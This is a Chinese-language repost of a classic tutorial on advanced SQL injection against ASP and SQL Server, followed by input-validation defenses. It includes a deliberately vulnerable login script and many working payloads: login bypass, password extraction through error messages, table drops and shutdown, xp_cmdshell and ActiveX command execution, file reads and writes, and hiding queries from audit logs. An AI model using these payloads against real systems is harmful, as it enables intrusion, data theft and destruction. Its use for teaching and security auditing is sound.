程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> 其他數據庫知識 >> 更多數據庫知識 >> SQL數據庫的高級sql注入的一些知識

SQL數據庫的高級sql注入的一些知識

編輯:更多數據庫知識

[概 要]
這篇文章討論常用的"sql注入"技術的細節,應用於流行的Ms IIS/ASP/SQL-Server平台。這裡探討有關這種攻擊各種可以注入程序訪問數據和數據庫防范的方法。這篇文章面向兩種讀者:一是基於數據庫web程序開發人員和審核各種web程序的安全專家。
[介 紹]
結構化查詢語言(SQL)是一種用來和數據庫交互的文本語言SQL語言多種多樣,大多的方言版本都共同寬松地遵循SQL-92標准(最新的ANSI標准[譯者注:目前最新的是SQL-99])。SQL運行的典型的操作是“查詢”,它是可以讓數據庫返回“查詢結果記錄集”的語句集合。SQL語句可以修改數據庫的結構(用數據定義語言"DDL")和操作數據庫裡的數據(用數據操作語言"DML")。我們在這裡著重討論Transact-SQL(交互式SQL),應用於SQL-Server的SQL一種方言(非標准SQL)。如果攻擊者可以插一系列的SQL語句進入應用程序的數據查詢時,Sql注入攻擊就可能發生。
一個典型的SQL語句是這樣的:
select id, forename, surname from authors
這個查詢語句將會從'authors'表中返回'id','forename'和'surname'列的所有行。返回的結果集也可以加以特定條件'author'限制:
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
注意這裡很重要的一點是'john'和'smith'是被單引號引住的,假設'forename'和'surname'字段是來自於用戶的輸入,攻擊者就可能通過輸入非法字符串來對這個查詢進行SQL注入:
Forename:jo'hn
Surname: smith
查詢語句就會變成:
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
當數據庫試圖執行這個查詢,它會返回這樣的錯誤:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
這是因為插入的單引號破壞了原來單引號引住的數據,數據庫執行到'hn'時失敗。如果攻擊者這樣輸入:
Forename: jo'; drop table authors--
Surname:
...authors表就會被刪掉,原因過一會再解釋。
似乎通過刪除用戶輸入的字符串中的單引號或者通過一些方法避免它們出現可以解決這個問題。誠然如此,但是要實施這個解決方法還有很多的困難。因為首先:不是所有的用戶提交的數據都是字符串形式,比如我們的用戶輸入通過'id'(看上去是個數字)來選擇一個用戶,我們的查詢可能會這樣:
select id,forename,surname from authors where id=1234
在這種情況下攻擊者可以輕易的在數值輸入後面添加SQL語句。在其他SQL方言中,使用著各種分隔符,比如MS Jet DBMS引擎,日期可以用'#'符號來分隔。
其次,避免單引號並不像開始我們想象的那樣是必要的解決辦法,原因下面討論。
我們將以Active Server Pages(ASP)登陸頁面為例子來詳細說明,它訪問一個Sql-Server數據庫並且驗證一個到我們假想的程序的訪問。
這是用戶填寫用戶名和密碼的表單頁面:
復制代碼 代碼如下:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>

這是'process_login.asp'的代碼, 它處理用戶登陸:
復制代碼 代碼如下:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%><FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>

這裡討論的是'process_login.asp'中的創建'query string'的部分:
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
如果用戶指定了下面這樣的數據:
Username: '; drop table users--
Password:
'users'表會被刪除,所有用戶都不能登陸。'--'是Transact-SQL(交互式SQL)的單行注釋符,';'標志著一個查詢的結束另一個查詢的開始。用戶名最後的'--'用來使這個特殊的查詢無錯誤結束。
攻擊者只要知道用戶名,就可以通過以下的輸入以任何用戶的身份登陸:
Username: admin'--
攻擊者可以通過下面的輸入以用戶表裡的第一個用戶來登陸:
Username: ' or 1=1--
...更有甚者,攻擊者通過以下的輸入可以以任意虛構的用戶登陸:
Username: ' union select 1, 'fictional_user', 'somoe_password', 1--
因為程序相信攻擊者指定的常量是數據庫返回的記錄集的一部分。
[通過錯誤信息獲取信息]
這個技術是David Litchfield在一次滲透入侵測試中首先發現的,後來david寫了篇關於這個技術的文章,很多作者都參考過這篇作品。這裡我們討論“錯誤消息”技術潛在的機制,使讀者可以充分理解它並且能靈活應用。
為了操作數據庫裡的數據,攻擊者要確定某個數據庫的結構。例如:我們的"user"表是用下面的語句建立的:
復制代碼 代碼如下:
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)

並且插入了下面的用戶:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
我們假設攻擊者要為自己插入一個用戶,如果不知道表的結構的話,他不可能成功。即使他運氣好,'priv'字段的重要性還不清楚。攻擊者可能插入'1',給自己在程序裡添加了一個低權限的用戶,而他的目標是管理員的權限。
對於攻擊者來說幸運的是:如果程序返回錯誤(asp默認如此),攻擊者可以猜測整個數據庫的結構,讀取ASP程序連接到SQL-Server的帳號權限內可以讀取的任何值。
(下面給出的使用上面提供的示例數據庫和asp腳本來說明這些技術怎樣實現的)
首先,攻擊者要確定查詢的表名和字段名。要做到這點,攻擊者可以使用'select'語句的'having'子句:
username: ' having 1=1 --
這會引起下面的錯誤(譯者注:having字句必須和GROUP BY或者聚合函數一起配合使用,否則出錯):
復制代碼 代碼如下:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35

所以攻擊者就知道了表名和第一列的列名,他們可以通過給每列加上'group by'子句繼續得到其他列名,如下:
復制代碼 代碼如下:
username: ' group by users.id having 1=1 --
(結果產生這樣的錯誤)
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35

最後攻擊者得到了下面的'username':
' group by users.id, users.username, users.password, users.privs having 1=1--
這句沒有錯誤,相當於:
select * from users where username = ''
所以攻擊者知道了查詢只是關於'users'表的,並且順序使用了列'id,username,password,rpivs'。
如果攻擊者能確定各列的數據類型將會很有用,可以利用類型轉換錯誤信息來達到這一點,看下面的例子:
Username: ' union select sum(username) from users--
這利用了SQL-Server試圖在確定兩行是否相同之前先執行'sum'子句的特性,計算文本域的和會返回這樣的信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
它告訴我們'username'字段的類型是'varchar'。相反的,如果我們試圖計算數值型的字段,但結果兩行的列數並不匹配:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
我們可以用這個技術來大概地確定數據庫內各列的類型。
這樣攻擊者就可以寫出一個格式完美的'insert'語句:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
但是,這個技術的潛力不止這些。攻擊者可以利用任何錯誤信息來暴露系統環境或者數據庫信息。執行下面的語句可以得到一個標准錯誤信息的清單:
select * from master..sysmessages
檢查這個清單可以發現很多有趣的信息。
一個特別有用的信息有關類型轉換,如果你試圖將一個字符串轉換成整型,整個字符串的內容將會出現在錯誤信息裡。以我們登陸頁的例子來說,使用下面的'username'將會返回SQL-Server的版本以及它所在服務器操作系統的版本信息:
Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.
/process_login.asp, line 35
這試圖將內置常量'@@version'轉換成整型,因為'users'表第一列是整數。
這個技術可以用來讀取任何數據庫的任何表的任何內容,如果攻擊者對用戶名和密碼感興趣,他們就可以從'users'表讀用戶名:
Username: ' union select min(username),1,1,1 from users where username > 'a'--
這將選出比'a'大的最小用戶名,而且試圖將它轉換成一個整數:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
攻擊者就知道'admin'帳號存在,他現在可以把他發現的用戶名放進'where'子句來反復測試這行:
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦攻擊者確定了用戶名,他就可以搜集密碼;
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
一個更“別致”的技術是將用戶名和密碼連接成一個單獨的字符傳,然後試圖將它轉換成整型。這將舉另一種例子;Transact-SQL語句可以將字符串連接成一行而不改變他們的意義,下面的腳本將連接這些值:
復制代碼 代碼如下:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end

攻擊者用這個'username'登陸(明顯都在同一行)
Username: ';begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--
這創建了一個只包含單列'ret'的表'foo',而且把我們的字符串放在裡面。通常一個低權限的用戶可以在示例數據庫裡創建表,或者一個臨時表。
之後攻擊者選擇查詢表裡的字符串,就像前面說的:
復制代碼 代碼如下:
Username: ' union select ret,1,1,1 from foo--
Username: ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesame' to a column of data type int.
/process_login.asp, line 35

然後刪除這個表:
Username: '; drop table foo--
這些例子僅僅揭開了這項技術的神秘面紗,不用說,如果攻擊者可以從數據庫獲得豐富的錯誤信息,他們的工作將大大的簡化。
[更深入的訪問]
一旦攻擊者可以控制數據庫,他們可能想通過這些權限來獲得對網絡更多的控制,可以通過很多方法來達到這一目的:
1.利用xp_cmdshell擴展存儲以SQL-Server用戶的身份在數據庫服務器上執行命令
2.利用xp_regread擴展存儲讀取注冊表的鍵值,也包括SAM(只要SQL-Server是以一個本地帳號運行的)
3.用其他的擴展存儲改變服務器設置
4.在聯合服務器上執行查詢
5.創建客戶擴展存儲從而在SQL-Server進程內運行exploit
6.用'bulk insert'語句去讀服務器上任何文件
7.用bcp在服務器上創建任何文本文件
8.用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統存儲過程來創建ActiveX對象來完成asp腳本可以做的任何事情
這些只是常見的攻擊方法的一部分;攻擊者也很可能通過其他方法來達到目的,我們列舉這些SQL-Server相關的攻擊方法是為了說明如果程序可以被注入SQL語句時可能會發生什麼,我們將依次給出以上各種情況的對策。
[xp_cmdshell]
擴展存儲的本質是編譯了的動態鏈接庫(DLLs),它用SQL-Server指定的調用方式去運行接口函數。他們允許SQL-Server程序擁有了和c/c++一樣的功能,是個非常有用的特性。SQL-Server內置了大量的擴展存儲,而且有各種各樣的函數比如發送郵件和更改注冊表。
xp_cmdshell是一個內置的擴展存儲,它允許執行任意的命令行程序。例如:
exec master..xp_cmdshell 'dir'
將會獲得一個SQL-Server進程所在工作目錄的列表
exec master..xp_cmdshell 'net1 user'
將提供主機用戶的列表。如果SQL Server正常的以本地'system'帳號或者'domain user'帳號運行,攻擊者可以造成更嚴重破壞。
[xp_regread]
另外一個有用的內置的擴展存儲是xp_regXXX函數
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
其中一些函數的用法的舉例:
exec xp_regread HKEY_LOCAL_MACHINE
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'
(它決定服務器的空連接式共享是否可用)
exec xp_regenumvalues HKEY_LOCAL_MACHINE
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
(它顯示所有的服務器上SNMP公共的設置,通過這個信息,攻擊者可以在相同的網絡區域裡重新配置網絡設置,因為SNMP共有設置很少被改變而且由很多主機共享)
可以想象攻擊者怎樣利用這些函數來讀取SAM文件,改變系統設置在重新啟動後就被服務的應用,或者在用戶下一次登陸時運行任意命令。
[其他擴展存儲]
xp_servicecontrol擴展存儲允許用戶啟動,停止,暫停或者運行服務。
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
下面是一些其他有用的擴展存儲表:
xp_availablemedia 顯示機器上可用的驅動器
xp_dirtree 獲得一個目錄樹
xp_enumdsn 列舉服務器上的ODBC數據源
xp_loginconfig 顯示服務器的安全狀態信息
xp_makecab 允許用戶在服務器上創建壓縮文件(或者任何服務器可以訪問的文件)
xp_ntsec_enumdomains 列舉服務器可以訪問的域
xp_terminate_process 結束一個給定PID進程
[聯合服務器]
SQL-Server提供了一個服務器聯合的機制,就是允許一個數據庫服務器上的查詢操作其他服務器的數據。這些聯合設置存放在master..sysservers表裡,如果一個相連的服務器使用了'sp_addlinkedsrvlogin'存儲過程,一個自動的登陸了的連接已經存在,可以通過它不登陸而訪問該服務器。'openquery'函數允許查詢在聯合服務器上執行。
[用戶自定義擴展存儲]
擴展存儲的API是相當簡單的,創建一個帶有惡意代碼的擴展存儲DLL也是相當容易的。通過命令行有很多方法將DLL上傳到服務器,還有其他的很多方法包括各種通信機制來自動實現,比如HTTP下載和FTP腳本。
一旦DLL文件出現在服務器上SQL-Server可以訪問,這不一定需要SQL-server本身,攻擊者可以通過下面添加擴展存儲(這裡,我們的惡意擴展存儲是個用來操作服務器的文件系統小的木馬)
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
擴展存儲就可以通過一般的方法調用:
exec xp_webserver
一旦這個擴展存儲執行過,可以這樣刪除它:
sp_dropextendedproc 'xp_webserver'
[向表中導入文本文件]
利用'bulk insert'語句,可以把一個文本文件的內容插入進一張臨時表,我們簡單的創建一個表:
create table foo( line varchar(8000) )
然後執行bulk insert來插入數據來自於一個文件:
bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
通過上面介紹過的錯誤信息技巧就可以得到數據,或者通過一個'union'查詢,把文本數據作為查詢的數據返回。這對於獲得存儲在數據庫裡的腳本如asp腳本很有用。
[利用BCP創建文本文件]
利用和'bulk insert'作用相反的技術創建任意的文本文件非常簡單。不過需要一個命令行工具'bcp'('bulk copy program'),因為bcp在SQL-Server進程外訪問數據庫,它需要一次登陸。但是這不難,因為攻擊者都可以創建一個;或者如果服務器配置使用了“完整性”安全模式,攻擊者可以利用它。
命令行格式如下:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
'S'參數是要運行查詢的服務器,'U'參數是用戶名,'P'是密碼,這裡的密碼是'foobar'。
[SQL-Server 裡的ActiveX自動腳本]
SQL-Server提供了一些內置的擴展存儲,允許在SQL-Server內創建ActiveX自動腳本。這些腳本在功能上和windows scripting host上運行的腳本或者asp腳本(通常用Javascript或者Vbscript編寫)一樣,腳本創建自動對象並且通過他們產生作用。一個用Transact-SQL寫的自動腳本可以做任何asp腳本或者WSH腳本能做的事。
下面提供一些例子來說明:
1)這個例子用'wscript.shell'對象創建一個notepad的實例(當然這裡也可以是任何命令行命令)
復制代碼 代碼如下:
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

在我們的例子裡可以使用這樣的用戶名(都在一行):
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
2)這個例子用'scripting.filesystemobject'對象去讀已知的文本文件:
復制代碼 代碼如下:
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end

3)下面的例子創建一個asp腳本執行任意命令:
復制代碼 代碼如下:
-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, ' '

需要注意的很重要的一點是Windows NT4,IIS4平台asp腳本將會以'system'的帳號運行,而在IIS5他們會以低權限的IWAM_xxx帳號運行。
4)這個例子(稍帶欺騙性)說明這項技術的靈活性,它用'speech.voicetext'(譯者注:參考ms-help://MS.VSCC/MS.MSDNVS.2052/dnwui/html/msdn_texttosp.htm)對象,使SQL Server說話:
復制代碼 代碼如下:
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'

這當然也可以在我們的例子裡使用,通過指定下面的'username'(注意例子不只是注入一段腳本,同時也以'admin'的身份登陸了程序)
用戶名: admin';declare @o int, @ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o, 'register', NULL, 'foo','bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'-
[存儲過程]
傳統的認識是如果ASP程序使用了數據庫系統的存儲過程,那麼就不可能SQL注入了。這句話不完全對,這依賴於ASP腳本調用存儲過程的方式。
本質上,一個帶參數的查詢執行了,用戶提供的參數就被安全的傳給查詢,SQL注入就不可能了。但是,如果攻擊者可以對無數據部分的查詢語句施加任何影響,他們仍然可能控制數據庫。
一個有用的規則是:
1. 如果ASP腳本創建了一個提交給服務器的SQL查詢語句,這是很容易被SQL注入的,即使它使用了存儲過程。
2. 如果ASP腳本使用了封裝傳遞參數給存儲過程的過程對象(如ADO command對象,和參數集合一起使用的)那麼它通常就很安全了,但是這還要取決於對象的執行。
明顯的,最好習慣於驗證所有的用戶輸入,因為新的攻擊技術會不停的湧現。
為了說明存儲過程查詢的注入,運行下面的SQL語句:
sp_who '1' select * from sysobjects
或者
sp_who '1' ; select * from sysobjects
任何附加語句在存儲過程執行後還是可以執行。
[高級Sql注入]
一個應用程序通常過濾單引號,另一方面限制用戶的輸入,比如限制長度。
在這裡,我們將討論一些繞過一些明顯的SQL注入防范的和長度限制的技巧。
[沒有符號的字符串]
有時候,開發人員可能已經通過過濾單引號來保護應用程序,比如用VBScript的'replace'函數:
復制代碼 代碼如下:
function escape( input )
input = replace(input, "'", "''")
escape = input
end function

不可否認,這會阻止所有的對我們上面給出的對示例站點的攻擊,刪除';'字符也會起作用。但是,在一個大的程序裡一些用戶輸入可能被假定為數值型。這些值沒有限制,提供了很多可以注入的地方。
如果攻擊者希望創建一個字符串值而不使用引號,他們可以用'char'函數。例如:
復制代碼 代碼如下:
insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)

它是一個往表裡插入字符的不帶引號的查詢語句。
當然,如果攻擊者使用一個數值型的用戶名和密碼的話,下面的語句也同樣可以很好的執行:
insert into users values( 667,
123,
123,
0xffff)
因為SQL-Server自動將數值型的轉換成'varchar'類型,類型轉換是默認的。
[SQL二次注入]
即使一個程序總是過濾單引號,攻擊者仍然可以先注入SQL作為數據存放在數據庫裡然後被程序再次使用。
比如,一個攻擊者可能通過注冊,創建一個用戶名
Username: admin'--
Password: password
程序正確的過濾了單引號,'insert'語句如下:
insert into users values ( 123, 'admin''--', 'password', 0xffff)
我們假設程序允許用戶更改密碼,ASP腳本在設置新的密碼前先確認用戶舊密碼正確。代碼可能這樣寫:
復制代碼 代碼如下:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
rso.open( sql, cn );
if (rso.EOF)
{


設置新密碼的查詢語句可能這樣寫的:
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
rso("username")是登陸的查詢返回的的用戶名。
用戶名為admin'--,上面的查詢就變成了這樣:
update users set password = 'password' where username = 'admin'--'
因此攻擊者可以通過注冊了一個名叫admin'--的用戶來把admin的密碼改成他們自己的。
這是個危險的問題,目前大部分的大型程序都試圖過濾數據。最好的解決方法是拒絕非法輸入,而不是簡單的改變它。這有時候會導致一些問題,非法字符在某些地方是必要的,比如在名字帶符號的情況:
O'Brien
從安全的角度,最好的解決辦法是不允許出現單引號。如果這樣不行,必須避免它們出現,這種情況下,最好保證所有要進入SQL語句的字符(包括從數據庫裡取出的字符)都被正確的處理過。
即使這樣攻擊依然可能實現:如果攻擊者可以不經過程序而往系統插入數據。比如攻擊者有一個email接口,或者有一個可以控制的錯誤記錄數據庫。最好總是驗證所有的數據,包括系統裡的數據,驗證函數調用很簡單,比如:
if ( not isValied( "email", request.querystring("emil") ) ) then
response.end
或者其他的方法
[長度限制]
有時候輸入對數據的長度加以限制會使攻擊困難許多,這的確阻止了一些攻擊,但一個很短的SQL語句也可能造成非常大的危害:
Username: ';shutdown--
關閉SQL-Server,只用了12個字符。另一個例子:
drop table
如果長度限制是在字符串過濾後,另一個問題可能會發生。假設用戶名被限制在16個字符之內,密碼也被限制在16個字符之內,下面的用戶名和密碼結合可以執行'shutdown'命令:
Username:aaaaaaaaaaaaaaa'
Password:'; shutdown--
原因是程序過濾用戶名最後的單引號,但是字符串又被切回到16個字符,刪除了過濾的單引號。結果是密碼域可以包含一些SQL, 只要它以一個單引號開始,最後的查詢會變成這樣:
select * from users where username = 'aaaaaaaaaaaaaa'' and password=''';shutdown--
用戶名在查詢裡就變成:
aaaaaaaaaaaaaaa' and password='
後面附上的SQL被執行。
[躲避審核]
SQL Server在sp_traceXXX系列的函數包含豐富審核接口,它可以記錄任何數據庫裡的事件。這裡我們特別感興趣的是T-SQL事件,它記錄了所有的SQL語句以及服務器上准備好的和已運行了的批處理。如果這個級別的審核開啟的話,所有我們討論的注入都將被記錄下來有經驗的數據庫管理員將會看到所有發生的事情。但是如果攻擊者附加下面的字符:
sp_password
到一個Transact-SQL語句,這個審核記錄如下:
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
這在所有的的T-SQL日志記錄時都會發生,即使'sp_password'出現在注釋中。這當然是在用戶傳遞sp_password時有意隱藏用戶的明文密碼,但這對攻擊者相當有用。
所以,為了隱藏所有的注入攻擊者只需要在注釋符'--'後面加一個字符串:
Username: admin'--sp_password
事實上一些執行了的SQL將被記錄,但是查詢字符串本身被強制不記錄。
[防 范]
這部分討論一些針對這些攻擊的防范措施。輸入驗證已經討論過了,一些代碼也給出了,後面我們研究SQL-Server防范問題。
[輸入驗證]
輸入驗證是一個很復雜的問題。一般在一個開發項目中它很少被注意,因為過度的驗證往往使一個程序的某部分被打斷,所以輸入驗證是個難題。輸入驗證往往不加到程序的功能裡,因而在工期將至而趕程序時不會被人注意。
下面是關於驗證的簡單的討論附示例代碼,這個示例代碼當然不能直接用在程序裡,但可以很好的說明不同的策略。
各種數據驗證的途徑可以分類為以下幾種:
1)整理數據使之變得有效
2)拒絕已知的非法輸入
3)只接受已知的合法的輸入
有很多概念上的問題;首先,開發者沒有必要知道非法數據由什麼組成,因為新形式的非法數據隨時都可能產生。第二,改變數據會改變它的長度,這樣會導致前面提到的問題。最後,還有需要對系統已有數據的重用的話有二次注入的問題.
解決方案2也會遇到和1的一些相似的問題,了解非法數據會過時,因為新的攻擊技術也在發展。
解決方案3可能是三種方法中最好的,但是比較難於執行。
從安全角度來考慮可能最好多解決方法是把解決方案2和3結合起來只允許合法的輸入,然後再尋找非法字符。
一個必須結合這兩種途徑的例子是帶有連字符的名字的問題:
Question Bassington-Bassington
我們必須在合法輸入裡允許連字符號,但是也要明白字符串'--'在SQL-Server裡意味著什麼。
當數據整理結合了非法字符驗證時另一個問題就會發生。假設我們應用“非法字符探測器”來探測'--','select'和'union'”後使用“數據整理過濾器”刪除單引號,攻擊者就可以指定這樣的輸入:
uni'on sel'ect @@version-'-
因為單引號被過濾器刪除了,攻擊者可以把單引號散布於它的已知的非法字符串裡來躲避檢查。
下面是一些驗證的代碼:
方法1-躲避單引號
復制代碼 代碼如下:
function escape( input )
input = replace(input, "'", "''")
escape = input
end function

方法2-抵制已知的非法輸入
復制代碼 代碼如下:
function validate_string( input )
know_bad = array( "select", "insert", "update", "delete", "drop", "--", "'")
validate_string = true
for i = lbound( know_bad ) to ubound( known_bad )
if( instr( 1, input, known_bad(i), vbtextcompare) <> 0 )
validate_string = false
exit function
end if
next
end function

方法3-只允許合法輸入
復制代碼 代碼如下:
function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( instr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved